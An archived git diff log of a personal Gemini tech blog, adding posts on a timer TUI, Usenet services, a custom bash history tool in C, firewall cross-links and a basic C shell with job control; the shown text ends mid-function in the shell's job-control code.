💾 Archived View for gmi.noulin.net › glog.diff captured on 2024-05-26 at 14:54:36.

View Raw

More Information

⬅️ Previous capture (2024-05-10)

➡️ Next capture (2024-06-16)

🚧 View Differences

-=-=-=-=-=-=-

commit 158f93441386b2b69189b135456ddf4ee864250e
Author: Remy Noulin <loader2x@gmail.com>
Date:   Fri May 24 21:36:34 2024 +0200

    Update

diff --git a/2024-02-11-my-tuis.gmi b/2024-02-11-my-tuis.gmi
index 478f0da..08b8e10 100644
--- a/2024-02-11-my-tuis.gmi
+++ b/2024-02-11-my-tuis.gmi
@@ -2,7 +2,7 @@
 
 => feed.gmi Feed
 
-date: 2024-02-11 20:51:50
+date: 2024-05-24 21:28:54
 
 categories: linux
 
@@ -58,6 +58,16 @@ sudo -H ./install.sh
 The readme has more details. 
 => gemini://gmi.noulin.net/sheepy/sheepyReadme.md Sheepy Readme
 
+## alimer
+
+`alimer` is a tui that has a list of alarms, timers and stopwatches. The alarms have weekly repeat, the timers and stopwatches can paused. The state of the app is saved on disk and restored when starting again.
+
+```
+sudo spm -g install alimer
+```
+
+=> /blog/images/alimer.png alimer screenshot [IMG]
+
 ## paku paku
 
 `paku paku` is a 1D Pacman game created Aba games, to play it tap any button (except q) to turn. Press `q` to quit the game. It is a one button game.

commit 196b6d72c99761e4184ac448af118eb35302045f
Author: Remy Noulin <loader2x@gmail.com>
Date:   Sun Apr 21 21:49:02 2024 +0200

    Update

diff --git a/2021-10-02-newsgroups-on-usenet.gmi b/2021-10-02-newsgroups-on-usenet.gmi
index e9f3677..e45de78 100644
--- a/2021-10-02-newsgroups-on-usenet.gmi
+++ b/2021-10-02-newsgroups-on-usenet.gmi
@@ -52,6 +52,13 @@ These NSPs are free and text-only:
 * 
 => https://i2pn2.org i2pn2.org
 
+Newsgroup service with web interface:
+
+* 
+=> https://narkive.com/ narkive newsgroup archive
+* 
+=> https://cmacleod.me.uk/ng newsgrouper
+
 # Newsreader software
 
 I tried a few newsreader programs:

commit 1595c8d276ab4637fefdeb4efd8fc8ab8ce166bf
Author: Remy Noulin <loader2x@gmail.com>
Date:   Wed Apr 17 14:12:26 2024 +0200

    Update

diff --git a/2024-04-15-history-in-shell-programs.gmi b/2024-04-15-history-in-shell-programs.gmi
index 16a0dba..fd4b3f4 100644
--- a/2024-04-15-history-in-shell-programs.gmi
+++ b/2024-04-15-history-in-shell-programs.gmi
@@ -43,8 +43,8 @@ bind -x '"\C-f": READLINE_LINE=`sed "${READLINE_LINE}q;d" ~/myhistory.txt`'
 ```
 
 * `rs=$?` saves the exit code to a variable before it is lost
-* "lastCommand=`history 1 | cut -c 26-`" saves the last command line without the date to a variable. The command line is saved in a variable because the history command doesn't work when it is in saveHistory code.
-* `~/bin/saveHistory $rs "$lastCommand"` appends exit code, date, pwd and command line to the history files (`~/myhistoryPath.txt`, `~/myhistoryExit.txt`,  `~/myhistory.txt`)
+* "lastCommand=`history 1 | cut -c 26-`" saves the last command line without the date to a variable. The command line is saved in a variable because the history command doesn't work when it is in saveHistory code. lastCommand could be: 'lastCommand=`HISTTIMEFORMAT= history 1 | sed -e "s/^[ ]*[0-9]*[ ]*//"`'
+* `~/bin/saveHistory $rs "$lastCommand"` appends exit code, date, pwd and command line to the history files (`~/myhistoryPath.txt`, `~/myhistoryExit.txt`,  `~/myhistory.txt`). The date saved in history is when the command ends
 * I use fzf to search in the history file, invoke with control+r
 * showMyHistory prints the command history with exit code, date and working directory, the lines are highlighted in red when the exit code is not 0
 * bind `\C-f` enters a command from the history to the prompt, type command number (line number) in history file and then press control+f. `${READLINE_LINE}` reads the line number from the readline buffer (prompt, it works only in `bind -x`) and sed writes the command from history to the readline buffer

commit cf54f27bc5317934f731898869f6f2b1da5c0f7d
Author: Remy Noulin <loader2x@gmail.com>
Date:   Wed Apr 17 10:45:31 2024 +0200

    Update

diff --git a/2024-04-15-history-in-shell-programs.gmi b/2024-04-15-history-in-shell-programs.gmi
index 981a2ae..16a0dba 100644
--- a/2024-04-15-history-in-shell-programs.gmi
+++ b/2024-04-15-history-in-shell-programs.gmi
@@ -169,6 +169,7 @@ int main(int ARGC, char** ARGV) {
 // vim: set expandtab ts=2 sw=2:
 ```
 
+* I could save the execution time of each command
 * I could group commands by shell sessions
 * When a command in a git repository, git status could be saved in the history (branch name and commit)
 * I could add hostname and have a common history for multiple machine by sending the command lines to a server.

commit ae3016191163e923c33277d3d2b179d6bf95c2e1
Author: Remy Noulin <loader2x@gmail.com>
Date:   Wed Apr 17 10:33:39 2024 +0200

    Update

diff --git a/2024-04-15-history-in-shell-programs.gmi b/2024-04-15-history-in-shell-programs.gmi
index 58b1557..981a2ae 100644
--- a/2024-04-15-history-in-shell-programs.gmi
+++ b/2024-04-15-history-in-shell-programs.gmi
@@ -33,6 +33,8 @@ I have an environment (RHEL 7-8+Extra) which ignores $HISTSIZE and $HISTFILESIZE
 
 So I setup my own history which saves the exit code, date and the current path and filters out commands matching a pattern.
 
+The exit code is wrong in the history when a command is suspended, $PROMPT_COMMAND is executed before the command is finished.
+
 ```
 export PROMPT_COMMAND='rs=$? ; lastCommand=`history 1 | cut -c 26-` ; ~/bin/saveHistory $rs "$lastCommand"'
 bind -x '"\C-r": READLINE_LINE=`fzf --height=20 < ~/myhistory.txt`'
@@ -168,6 +170,7 @@ int main(int ARGC, char** ARGV) {
 ```
 
 * I could group commands by shell sessions
+* When a command in a git repository, git status could be saved in the history (branch name and commit)
 * I could add hostname and have a common history for multiple machine by sending the command lines to a server.
 
 ## Sheepy

commit df7354c5e6544fccf17c34bddbe03e9d6b9f3f9c
Author: Remy Noulin <loader2x@gmail.com>
Date:   Wed Apr 17 07:46:30 2024 +0200

    Update

diff --git a/2024-04-15-history-in-shell-programs.gmi b/2024-04-15-history-in-shell-programs.gmi
index 46f2777..58b1557 100644
--- a/2024-04-15-history-in-shell-programs.gmi
+++ b/2024-04-15-history-in-shell-programs.gmi
@@ -2,7 +2,7 @@
 
 => feed.gmi Feed
 
-date: 2024-04-15 20:34:32
+date: 2024-04-17 07:37:56
 
 categories: linux
 
@@ -37,14 +37,17 @@ So I setup my own history which saves the exit code, date and the current path a
 export PROMPT_COMMAND='rs=$? ; lastCommand=`history 1 | cut -c 26-` ; ~/bin/saveHistory $rs "$lastCommand"'
 bind -x '"\C-r": READLINE_LINE=`fzf --height=20 < ~/myhistory.txt`'
 alias h='showMyHistory | less +G'
+bind -x '"\C-f": READLINE_LINE=`sed "${READLINE_LINE}q;d" ~/myhistory.txt`'
 ```
 
 * `rs=$?` saves the exit code to a variable before it is lost
 * "lastCommand=`history 1 | cut -c 26-`" saves the last command line without the date to a variable. The command line is saved in a variable because the history command doesn't work when it is in saveHistory code.
 * `~/bin/saveHistory $rs "$lastCommand"` appends exit code, date, pwd and command line to the history files (`~/myhistoryPath.txt`, `~/myhistoryExit.txt`,  `~/myhistory.txt`)
 * I use fzf to search in the history file, invoke with control+r
+* showMyHistory prints the command history with exit code, date and working directory, the lines are highlighted in red when the exit code is not 0
+* bind `\C-f` enters a command from the history to the prompt, type command number (line number) in history file and then press control+f. `${READLINE_LINE}` reads the line number from the readline buffer (prompt, it works only in `bind -x`) and sed writes the command from history to the readline buffer
 
-`saveHistory.c` source code:
+`saveHistory.c` source code, compile with `sheepy -c saveHistory.c` (see below the install instructions):
 
 ```
 #! /usr/bin/env sheepy
@@ -119,7 +122,7 @@ int main(int ARGC, char** ARGV) {
 // vim: set expandtab ts=2 sw=2:
 ```
 
-`showMyHistory.c` source code:
+`showMyHistory.c` source code, compile with `sheepy -c showMyHistory.c` (see below the install instructions):
 
 ```
 #! /usr/bin/env sheepy
@@ -144,15 +147,19 @@ int main(int ARGC, char** ARGV) {
     castS(e,E);
     max = maxV(max, lenG(e));
   }
+  u32 count       = lenG(h);
+  char counts[32] = init0Var;
+  pErrorNULL(bIntToS(counts,count));
+  count           = strlen(counts);
   iter(he, e) {
     char *s      = ssGet(e);
     char *date   = findS(s, " ") +1;
     u32 exitCode = parseIntG(s);
     if (exitCode) {
-      printf(RED"%3d"RST" %s "YLW"%*s"RST" "RED"%s"RST"\n", exitCode, date, max, getG(hP, rtChar, iterIndexG(he)), getG(h, rtChar, iterIndexG(he)));
+      printf("%*d "RED"%3d"RST" %s "YLW"%*s"RST" "RED"%s"RST"\n", count, iterIndexG(he)+1, exitCode, date, max, getG(hP, rtChar, iterIndexG(he)), getG(h, rtChar, iterIndexG(he)));
     }
     else {
-      printf(GRN"%3d"RST" %s "YLW"%*s"RST" %s\n", exitCode, date, max, getG(hP, rtChar, iterIndexG(he)), getG(h, rtChar, iterIndexG(he)));
+      printf("%*d "GRN"%3d"RST" %s "YLW"%*s"RST" %s\n", count, iterIndexG(he)+1, exitCode, date, max, getG(hP, rtChar, iterIndexG(he)), getG(h, rtChar, iterIndexG(he)));
     }
   }
   ret 0;
@@ -163,4 +170,18 @@ int main(int ARGC, char** ARGV) {
 * I could group commands by shell sessions
 * I could add hostname and have a common history for multiple machine by sending the command lines to a server.
 
+## Sheepy
+
+Sheepy is a build system for using C as a scripting language like python. It takes less than 5 minutes to install sheepy on a machine:
+
+```
+apt-get install gcc git
+git clone https://spartatek.se/git/sheepy.git
+cd sheepy
+sudo -H ./install.sh
+```
+
+The readme has more details. 
+=> gemini://gmi.noulin.net/sheepy/sheepyReadme.md Sheepy Readme
+
 => feed.gmi Feed

commit 873aa242db832f810a4deaf000ae65156b7e7d73
Author: Remy Noulin <loader2x@gmail.com>
Date:   Tue Apr 16 06:47:42 2024 +0200

    Update

diff --git a/2024-04-15-history-in-shell-programs.gmi b/2024-04-15-history-in-shell-programs.gmi
index 8638656..46f2777 100644
--- a/2024-04-15-history-in-shell-programs.gmi
+++ b/2024-04-15-history-in-shell-programs.gmi
@@ -36,6 +36,7 @@ So I setup my own history which saves the exit code, date and the current path a
 ```
 export PROMPT_COMMAND='rs=$? ; lastCommand=`history 1 | cut -c 26-` ; ~/bin/saveHistory $rs "$lastCommand"'
 bind -x '"\C-r": READLINE_LINE=`fzf --height=20 < ~/myhistory.txt`'
+alias h='showMyHistory | less +G'
 ```
 
 * `rs=$?` saves the exit code to a variable before it is lost

commit be3aa1acf4374a254158902293231891f6831331
Author: Remy Noulin <loader2x@gmail.com>
Date:   Mon Apr 15 20:36:37 2024 +0200

    Update

diff --git a/2024-04-15-history-in-shell-programs.gmi b/2024-04-15-history-in-shell-programs.gmi
new file mode 100644
index 0000000..8638656
--- /dev/null
+++ b/2024-04-15-history-in-shell-programs.gmi
@@ -0,0 +1,165 @@
+# History in shell programs
+
+=> feed.gmi Feed
+
+date: 2024-04-15 20:34:32
+
+categories: linux
+
+firstPublishDate: 2024-04-15 20:34:32
+
+Shell programs save commands on the prompt to history files, the default history file for bash is `~/.bash_history`. I use the history to remember commands I want to reuse.
+
+In bash, I use this configuration in `~/.bashrc`:
+
+```
+# append to the history file, don't overwrite it
+shopt -s histappend
+
+# don't put duplicate lines in the history. See bash(1) for more options
+export HISTCONTROL=ignoredups
+
+# for setting history length see HISTSIZE and HISTFILESIZE in bash(1)
+export HISTSIZE=100000
+export HISTFILESIZE=100000
+export HISTTIMEFORMAT="%y-%m-%d %T "
+
+export PROMPT_COMMAND="history -a"
+```
+
+The history shows the time when the command was executed and the new lines are added immediatly to the history file. This allows keeping the whole history when multiple shells are opened.
+
+I have an environment (RHEL 7-8+Extra) which ignores $HISTSIZE and $HISTFILESIZE and the lines older than 3 days are deleted.
+
+So I setup my own history which saves the exit code, date and the current path and filters out commands matching a pattern.
+
+```
+export PROMPT_COMMAND='rs=$? ; lastCommand=`history 1 | cut -c 26-` ; ~/bin/saveHistory $rs "$lastCommand"'
+bind -x '"\C-r": READLINE_LINE=`fzf --height=20 < ~/myhistory.txt`'
+```
+
+* `rs=$?` saves the exit code to a variable before it is lost
+* "lastCommand=`history 1 | cut -c 26-`" saves the last command line without the date to a variable. The command line is saved in a variable because the history command doesn't work when it is in saveHistory code.
+* `~/bin/saveHistory $rs "$lastCommand"` appends exit code, date, pwd and command line to the history files (`~/myhistoryPath.txt`, `~/myhistoryExit.txt`,  `~/myhistory.txt`)
+* I use fzf to search in the history file, invoke with control+r
+
+`saveHistory.c` source code:
+
+```
+#! /usr/bin/env sheepy
+#include "libsheepyObject.h"
+// ARG 1: exit code
+// ARG 2: last command
+// export PROMPT_COMMAND='rs=$? ; lastCommand=`history 1 | cut -c 26-` ; ~/bin/saveHistory $rs "$lastCommand"'
+#define H "~/myhistory.txt"
+#define HE "~/myhistoryExit.txt"
+#define HP "~/myhistoryPath.txt"
+// command is equal to
+char *filter[] = {
+  "fg",
+  "bg",
+  "jobs",
+  "ls",
+  null
+};
+// command starts with
+char *start[] = {
+  "fg ",
+  "ls ",
+  null
+};
+int main(int ARGC, char** ARGV) {
+  cleanCharP(newCmd) = trimS(ARGV[2]);
+  // filter out commands
+  forEachS(filter, s) {
+    if (eqG(newCmd, s)) ret 0;
+  }
+  forEachS(start, s) {
+    if (startsWithG(ARGV[2], s)) ret 0;
+  }
+  initLibsheepy(ARGV[0]);
+  // export PROMPT_COMMAND='rs=$? ; pwd >> ~/myhistoryPath.txt ; d=`date +"%F %T"` ; printf "%s %s\n" "$rs" "$d" >> ~/myhistoryExit.txt ; history 1 | cut -c 26- >> ~/myhistory.txt'
+  cleanCharP(hp)  = expandHomeG(H);
+  if (isPath(hp)) {
+    // ignore duplicate command
+    cleanCharP(h) = readFileS(hp);
+    size_t len    = lenG(h);
+    char *last    = h+len;
+    u8 status     = 0;
+    range(i, len) {
+      if (*last == '\n') {
+        if (status == 1) break;
+        if (status == 0) {
+          // end of last command
+          *last = 0;
+          inc status;
+        }
+      }
+      dec last;
+    }
+    // this is a duplicate, stop
+    cleanCharP(l) = trimS(last);
+    if (eqG(newCmd, l)) ret 0;
+  }
+  cleanCharP(hep) = expandHomeG(HE);
+  cleanCharP(hpp) = expandHomeG(HP);
+  char path[8192] = init0Var;
+  pError0(appendFileS(hpp, bLGetCwd(path, sizeof(path))));
+  pError0(appendFileS(hpp, "\n"));
+  char date[128] = init0Var;
+  pErrorNULL(bGetCurrentDateYMD(date));
+  cleanCharP(edate) = formatS("%s %s\n", ARGV[1], date);
+  pError0(appendFileS(hep, edate));
+  pError0(appendFileS(hp, newCmd));
+  pError0(appendFileS(hp, "\n"));
+  // doesnt work - system("history 1 | cut -c 26- >> "H);
+  ret 0;
+}
+// vim: set expandtab ts=2 sw=2:
+```
+
+`showMyHistory.c` source code:
+
+```
+#! /usr/bin/env sheepy
+#include "libsheepyObject.h"
+#define H "~/myhistory.txt"
+#define HE "~/myhistoryExit.txt"
+#define HP "~/myhistoryPath.txt"
+int main(int ARGC, char** ARGV) {
+  initLibsheepy(ARGV[0]);
+  cleanAllocateSmallArray(h);
+  cleanAllocateSmallArray(he);
+  cleanAllocateSmallArray(hP);
+  cleanCharP(hp)  = expandHomeG(H);
+  cleanCharP(hep) = expandHomeG(HE);
+  cleanCharP(hpp) = expandHomeG(HP);
+  readFileG(h, hp);
+  readFileG(he, hep);
+  readFileG(hP, hpp);
+  // find longest path in history
+  u16 max = 0;
+  iter(hP, E) {
+    castS(e,E);
+    max = maxV(max, lenG(e));
+  }
+  iter(he, e) {
+    char *s      = ssGet(e);
+    char *date   = findS(s, " ") +1;
+    u32 exitCode = parseIntG(s);
+    if (exitCode) {
+      printf(RED"%3d"RST" %s "YLW"%*s"RST" "RED"%s"RST"\n", exitCode, date, max, getG(hP, rtChar, iterIndexG(he)), getG(h, rtChar, iterIndexG(he)));
+    }
+    else {
+      printf(GRN"%3d"RST" %s "YLW"%*s"RST" %s\n", exitCode, date, max, getG(hP, rtChar, iterIndexG(he)), getG(h, rtChar, iterIndexG(he)));
+    }
+  }
+  ret 0;
+}
+// vim: set expandtab ts=2 sw=2:
+```
+
+* I could group commands by shell sessions
+* I could add hostname and have a common history for multiple machine by sending the command lines to a server.
+
+=> feed.gmi Feed

commit 62a1ea9f9b59a1ccdf1259b21d8d02962c666bee
Author: Remy Noulin <loader2x@gmail.com>
Date:   Tue Apr 2 08:17:55 2024 +0200

    Update

diff --git a/2023-06-24-my-server-is-getting-scanned-all-the-time.gmi b/2023-06-24-my-server-is-getting-scanned-all-the-time.gmi
index ee6667a..a65a00b 100644
--- a/2023-06-24-my-server-is-getting-scanned-all-the-time.gmi
+++ b/2023-06-24-my-server-is-getting-scanned-all-the-time.gmi
@@ -2,7 +2,7 @@
 
 => feed.gmi Feed
 
-date: 2023-06-24 18:07:35
+date: 2024-04-02 07:57:18
 
 categories: default
 
@@ -10,6 +10,24 @@ firstPublishDate: 2023-06-24 18:07:35
 
 My server runs a web server and an ssh server, there is nothing on the web server and there is no link on the internet pointing to it, all devices connected to the internet are getting scanned.
 
+To reduce this scanning, setup a firewall:
+
+=> 2023-10-19-setting-up-pf-firewall-in-freebsd.gmi Setting up PF firewall in FreeBSD
+
+=> 2023-11-22-using-iptables.gmi Using iptables
+
+Related news:
+
+=> https://www.reuters.com/technology/cybersecurity/apt31-chinese-hacking-group-behind-global-cyberespionage-campaign-2024-03-26/ Reuters: APT31: the Chinese hacking group behind global cyberespionage campaign
+
+=> https://www.bleepingcomputer.com/news/security/us-sanctions-apt31-hackers-behind-critical-infrastructure-attacks/ The U.S. Treasury Department has sanctioned a Wuhan-based company used by the Chinese Ministry of State Security (MSS)
+
+=> https://www.svt.se/nyheter/inrikes/svenskars-routrar-har-utnyttjats-av-kinesisk-hackergrupp Svenskars routrar utnyttjade av kinesisk hackergrupp
+
+Which routers? cisco and netgear:
+
+=> https://arstechnica.com/security/2024/01/chinese-malware-removed-from-soho-routers-after-fbi-issues-covert-commands/ Chinese malware removed from SOHO routers after FBI issues covert commands
+
 Normally nobody would connect to port 80 since there are no links and no content, but there are lots of connections happening.
 
 The web server gets these type accesses:
diff --git a/2023-10-19-setting-up-pf-firewall-in-freebsd.gmi b/2023-10-19-setting-up-pf-firewall-in-freebsd.gmi
index b1a38b7..dea14dd 100644
--- a/2023-10-19-setting-up-pf-firewall-in-freebsd.gmi
+++ b/2023-10-19-setting-up-pf-firewall-in-freebsd.gmi
@@ -2,7 +2,7 @@
 
 => feed.gmi Feed
 
-date: 2023-10-19 21:52:54
+date: 2024-04-02 07:58:38
 
 categories: freebsd
 
@@ -11,6 +11,10 @@ firstPublishDate: 2023-10-19 21:52:54
 The information about PF in FreeBSD handbook is at chapter 33. 
 => https://docs.freebsd.org/en/books/handbook/firewalls/ Freebsd Firewalls
 
+Why setup a firewall? Security issues are detected in a few seconds.
+
+=> 2023-06-24-my-server-is-getting-scanned-all-the-time.gmi My server is getting scanned all the time
+
 The manual has more details about `pfctl` and the configuration file `pf.conf`:
 
 ```
diff --git a/2023-11-22-using-iptables.gmi b/2023-11-22-using-iptables.gmi
index e5b9001..5443fbf 100644
--- a/2023-11-22-using-iptables.gmi
+++ b/2023-11-22-using-iptables.gmi
@@ -2,13 +2,19 @@
 
 => feed.gmi Feed
 
-date: 2023-11-22 20:37:47
+date: 2024-04-02 07:57:28
 
 categories: linux
 
 firstPublishDate: 2023-11-22 20:37:47
 
-On this page, I list basic iptables and ipset commands. I have been using `iptables` for many years and recently netfilter has replaced iptables in the linux kernel. I use the iptables command for netfilter, I only use ipv4 so for me, it is the same as before.
+On this page, I list basic iptables and ipset commands.
+
+Why setup a firewall? Security issues are detected in a few seconds.
+
+=> 2023-06-24-my-server-is-getting-scanned-all-the-time.gmi My server is getting scanned all the time
+
+I have been using `iptables` for many years and recently netfilter has replaced iptables in the linux kernel. I use the iptables command for netfilter, I only use ipv4 so for me, it is the same as before.
 
 ```
 iptables -V

commit 7d36100c6710fa97957134feca67626677f411a0
Author: Remy Noulin <loader2x@gmail.com>
Date:   Thu Mar 21 21:50:53 2024 +0200

    Update

diff --git a/2024-03-21-basic-shell-with-job-control.gmi b/2024-03-21-basic-shell-with-job-control.gmi
new file mode 100644
index 0000000..9845d57
--- /dev/null
+++ b/2024-03-21-basic-shell-with-job-control.gmi
@@ -0,0 +1,941 @@
+# Basic shell with job control
+
+=> feed.gmi Feed
+
+date: 2024-03-21 21:50:16
+
+categories: linux
+
+firstPublishDate: 2024-03-21 21:50:16
+
+This shell runs commands and pipeline commands.
+
+I decided to create a simple shell with job control because most of the simple shells on the internet don't have job control. I don't consider shells without job control to be usable, I want to start a program and press ctrl+z to suspend the process and go back to the shell.
+
+The builtin commands are:
+
+* `cd` to navigate directories
+* `jobs` to list the suspended programs (suspend programs with ctrl+z)
+* `fg` to put a program into foreground
+
+There is no other feature in this shell. This code can be used to create a more advanced shell with job control.
+
+There are functions in `jobs.h` to run programs in background but I haven't implemented any builtin command for this.
+
+`job.h` has all the functions for job control. The code is from the glibc manual, I modified to make it work, I think it was written for an older version of glibc/linux because the `wait_for_job` function was waiting forever on my system.
+
+=> https://www.gnu.org/software/libc/manual/html_node/Data-Structures.html Job Control - Glibc manual
+
+## Building the shell
+
+Save the files below to `shell.c` and `jobs.h` and compile with:
+
+```
+gcc -g -o bs shell.c -Wall -W
+```
+
+`shell.c`:
+
+```
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <errno.h>
+#include <unistd.h>
+#include <ctype.h> // isspace
+#include "jobs.h"
+
+/* Constants */
+#define ARG_MAX_COUNT    1024      /* max number of arguments to a command */
+
+/* Type declarations */
+struct command {		   /* a struct that stores a parsed command */
+    int argc;                  /* number of arguments in the comand */
+    char *name;                /* name of the command */
+    char *argv[ARG_MAX_COUNT]; /* the arguments themselves */
+};
+
+struct commands {                  /* struct to store a command pipeline */
+    int cmd_count;             /* number of commands in the pipeline */
+    struct command *cmds[];    /* the commands themselves */
+};
+
+/* Shared global variables */
+static char *input;		   /* input entered by the user */
+
+int is_blank(char *input)
+{
+    int n = (int) strlen(input);
+    int i;
+
+    for (i = 0; i < n; i++) {
+    	if (!isspace(input[i]))
+    		return 0;
+    }
+    return 1;
+}
+
+/* Parses a single command into a command struct.
+ * Allocates memory for keeping the struct and the caller is responsible
+ * for freeing up the memory
+ */
+struct command *parse_command(char *input)
+{
+    int tokenCount = 0;
+    char *token;
+
+    /* allocate memory for the cmd structure */
+    struct command *cmd = calloc(sizeof(struct command) +
+    			     ARG_MAX_COUNT * sizeof(char *), 1);
+
+    if (cmd == NULL) {
+    	fprintf(stderr, "error: memory alloc error\n");
+    	exit(EXIT_FAILURE);
+    }
+
+    /* get token by splitting on whitespace */
+    token = strtok(input, " ");
+
+    while (token != NULL && tokenCount < ARG_MAX_COUNT) {
+    	cmd->argv[tokenCount++] = token;
+    	token = strtok(NULL, " ");
+    }
+    cmd->name = cmd->argv[0];
+    cmd->argc = tokenCount;
+    return cmd;
+}
+
+/* Parses a command with pipes into a commands* structure.
+ * Allocates memory for keeping the struct and the caller is responsible
+ * for freeing up the memory
+ */
+struct commands *parse_commands_with_pipes(char *input)
+{
+    int commandCount = 0;
+    int i = 0;
+    char *token;
+    char *saveptr;
+    char *c = input;
+    struct commands *cmds;
+
+    while (*c != '\0') {
+    	if (*c == '|')
+    		commandCount++;
+    	c++;
+    }
+
+    commandCount++;
+
+    cmds = calloc(sizeof(struct commands) +
+    	      commandCount * sizeof(struct command *), 1);
+
+    if (cmds == NULL) {
+    	fprintf(stderr, "error: memory alloc error\n");
+    	exit(EXIT_FAILURE);
+    }
+
+    token = strtok_r(input, "|", &saveptr);
+    while (token != NULL && i < commandCount) {
+    	cmds->cmds[i++] = parse_command(token);
+    	token = strtok_r(NULL, "|", &saveptr);
+    }
+
+    cmds->cmd_count = commandCount;
+    return cmds;
+}
+
+/* Returns whether a command is a built-in. As of now
+ * one of [exit, cd]
+ */
+int check_built_in(struct command *cmd)
+{
+    return strcmp(cmd->name, "exit") == 0 ||
+    	strcmp(cmd->name, "jobs") == 0 ||
+    	strcmp(cmd->name, "fg") == 0 ||
+    	strcmp(cmd->name, "cd") == 0;
+}
+
+/* Handles the shell built-in comamnds.
+ *
+ * Returns -1 to indicate that program should exit.
+ */
+int handle_built_in(struct commands *cmds, struct command *cmd)
+{
+    (void) cmds;
+    int ret;
+
+    if (strcmp(cmd->name, "exit") == 0)
+    	return -1;
+
+    else if (strcmp(cmd->name, "cd") == 0) {
+    	ret = chdir(cmd->argv[1]);
+    	if (ret != 0) {
+    		fprintf(stderr, "error: unable to change dir\n");
+    		return 1;
+    	}
+    	return 0;
+    }
+
+    else if (strcmp(cmd->name, "jobs") == 0) {
+    	show_jobs(first_job);
+    	return 0;
+    }
+    else if (strcmp(cmd->name, "fg") == 0) {
+      		for (job *j = first_job; j; j = j->next) {
+    		// continue the first stopped job
+    		if (job_is_stopped(j)) {
+    			continue_job(j, 1/*foreground*/);
+    			break;
+    		}
+    	}
+    	return 0;
+    }
+    return -2;
+}
+
+/* Executes commands
+ */
+int exec_commands(struct commands *cmds, char *line)
+{
+    pid_t exec_ret = 0;
+
+    /* single command? run it */
+    if (cmds->cmd_count == 1 && check_built_in(cmds->cmds[0]) == 1)
+    	return handle_built_in(cmds, cmds->cmds[0]);
+
+    /* if any command in the pipeline is a built-in, raise error */
+    int i;
+
+    for (i = 0; i < cmds->cmd_count; i++) {
+    	if (check_built_in(cmds->cmds[i])) {
+    		fprintf(stderr, "error: no builtins in pipe\n");
+    		return 0;
+    	}
+
+    }
+
+    job* j = allocate_job(cmds->cmd_count);
+    j->command = line;
+
+    i = 0;
+    for (process *p = j->first_process ; p ; p = p->next) {
+    	p->argv = cmds->cmds[i]->argv;
+    	i++;
+    }
+
+    launch_job(j, 1/*foreground*/);
+
+    return exec_ret;
+}
+
+/* Frees up memory for the commands */
+void cleanup_commands(struct commands *cmds)
+{
+    for (int i = 0; i < cmds->cmd_count; i++)
+    	free(cmds->cmds[i]);
+
+    free(cmds);
+}
+
+/* Returns a pointer to a input entered by user.
+ * the caller is responsible for freeing up the memory
+ */
+char *read_input(void)
+{
+    int buffer_size = 2048;
+    char *input = malloc(buffer_size * sizeof(char));
+    int i = 0;
+    char c;
+
+    if (input == NULL) {
+    	fprintf(stderr, "error: malloc failed\n");
+    	exit(EXIT_FAILURE);
+    }
+
+    while ((c = getchar()) != '\n') {
+    	/* did user enter ctrl+d ?*/
+    	if (c == EOF) {
+    		free(input);
+    		return NULL;
+    	}
+
+    	/* allocate more memory for input */
+    	if (i >= buffer_size) {
+    		buffer_size = 2 * buffer_size;
+    		input = realloc(input, buffer_size);
+    	}
+
+    	input[i++] = c;
+    }
+
+    input[i] = '\0';
+    return input;
+}
+
+int main(void)
+{
+    int exec_ret;
+
+    init_shell();
+
+    while (1) {
+    	do_job_notification();
+    	fputs("$", stdout);
+
+    	input = read_input();
+
+    	if (input == NULL) {
+    		/* user entered ctrl+D, exit gracefully */
+    		return 0;
+    	}
+
+    	if (strlen(input) > 0 && !is_blank(input) && input[0] != '|') {
+    		char *line = strdup(input);
+    		struct commands *commands =
+    			parse_commands_with_pipes(input);
+
+    		exec_ret = exec_commands(commands, line);
+    		cleanup_commands(commands);
+    	}
+
+    	free(input);
+
+    	/* get ready to exit */
+    	if (exec_ret == -1)
+    		break;
+    }
+
+    tcsetattr (shell_terminal, TCSADRAIN, &shell_tmodes);
+    return 0;
+}
+```
+
+`jobs.h`:
+
+```
+// https://www.gnu.org/software/libc/manual/html_node/Data-Structures.html
+// The code below comes from the glibc manual, I modified the code to make
+// it work. Maybe the code in the manual was written for an older version
+// of glibc.
+// Added allocate functions for job and process
+// Other resource:
+// https://github.com/tokenrove/build-your-own-shell
+
+#include <sys/wait.h>
+#include <sys/types.h>
+#include <termios.h>
+#include <unistd.h>
+#include <signal.h>
+
+/* A process is a single process.  */
+typedef struct process
+{
+  struct process *next;       /* next process in pipeline */
+  char **argv;                /* for exec */
+  pid_t pid;                  /* process ID */
+  char completed;             /* true if process has completed */
+  char stopped;               /* true if process has stopped */
+  int status;                 /* reported status value */
+} process;
+
+/* A job is a pipeline of processes.  */
+typedef struct job
+{
+  struct job *next;           /* next active job */
+  char *command;              /* command line, used for messages */
+  process *first_process;     /* list of processes in this job */
+  pid_t pgid;                 /* process group ID */
+  char notified;              /* true if user told about stopped job */
+  struct termios tmodes;      /* saved terminal modes */
+  int stdin, stdout, stderr;  /* standard i/o channels */
+  pid_t lastpid;
+} job;
+
+/* The active jobs are linked into a list.  This is its head.   */
+job *first_job = NULL;
+
+// prototypes
+void wait_for_job (job *j);
+void print_job_info (job *j, const char *status);
+void put_job_in_foreground (job *j, int cont);
+void put_job_in_background (job *j, int cont);
+
+// Here are some utility functions that are used for operating on job objects.
+
+/* allocate job and processes, set new job as first job */
+job *allocate_job(unsigned int process_count) {
+
+    job* j = (job*) malloc(sizeof(job));
+
+    /* Add job to job list. */
+    j->next = first_job;
+    first_job = j;
+
+    j->command = NULL;
+    j->first_process = NULL;
+    j->pgid = 0;
+    j->notified = 0;
+    // j->tmodes initialized by put_job_in_foreground
+    j->stdin = STDIN_FILENO;
+    j->stdout = STDOUT_FILENO;
+    j->stderr = STDERR_FILENO;
+    // j->lastpid initialized by launch_job
+
+    for (unsigned int i = 0; i < process_count; i++) {
+        process* p = (process*) malloc(sizeof(process));
+        p->next = j->first_process;
+        j->first_process = p;
+        p->argv = NULL;
+        // p->pid set by launch_job
+        p->completed = 0;
+        p->stopped = 0;
+        p->status = 0;
+    }
+
+    return j;
+}
+
+/* Find the active job with the indicated pgid.  */
+// not used
+job *find_job (pid_t pgid)
+{
+  job *j;
+
+  for (j = first_job; j; j = j->next)
+    if (j->pgid == pgid)
+      return j;
+  return NULL;
+}
+
+// set completed for finished processes
+// with pipe command:
+// /bin/cat r | /usr/bin/sort | less
+// cat and sort are finished while less is running
+// ^Z stops less, the state of cat and sort has to be updated
+// otherwise job_is_stopped reports job is running
+void update_process_status(job *j) {
+  int status;
+  pid_t pid;
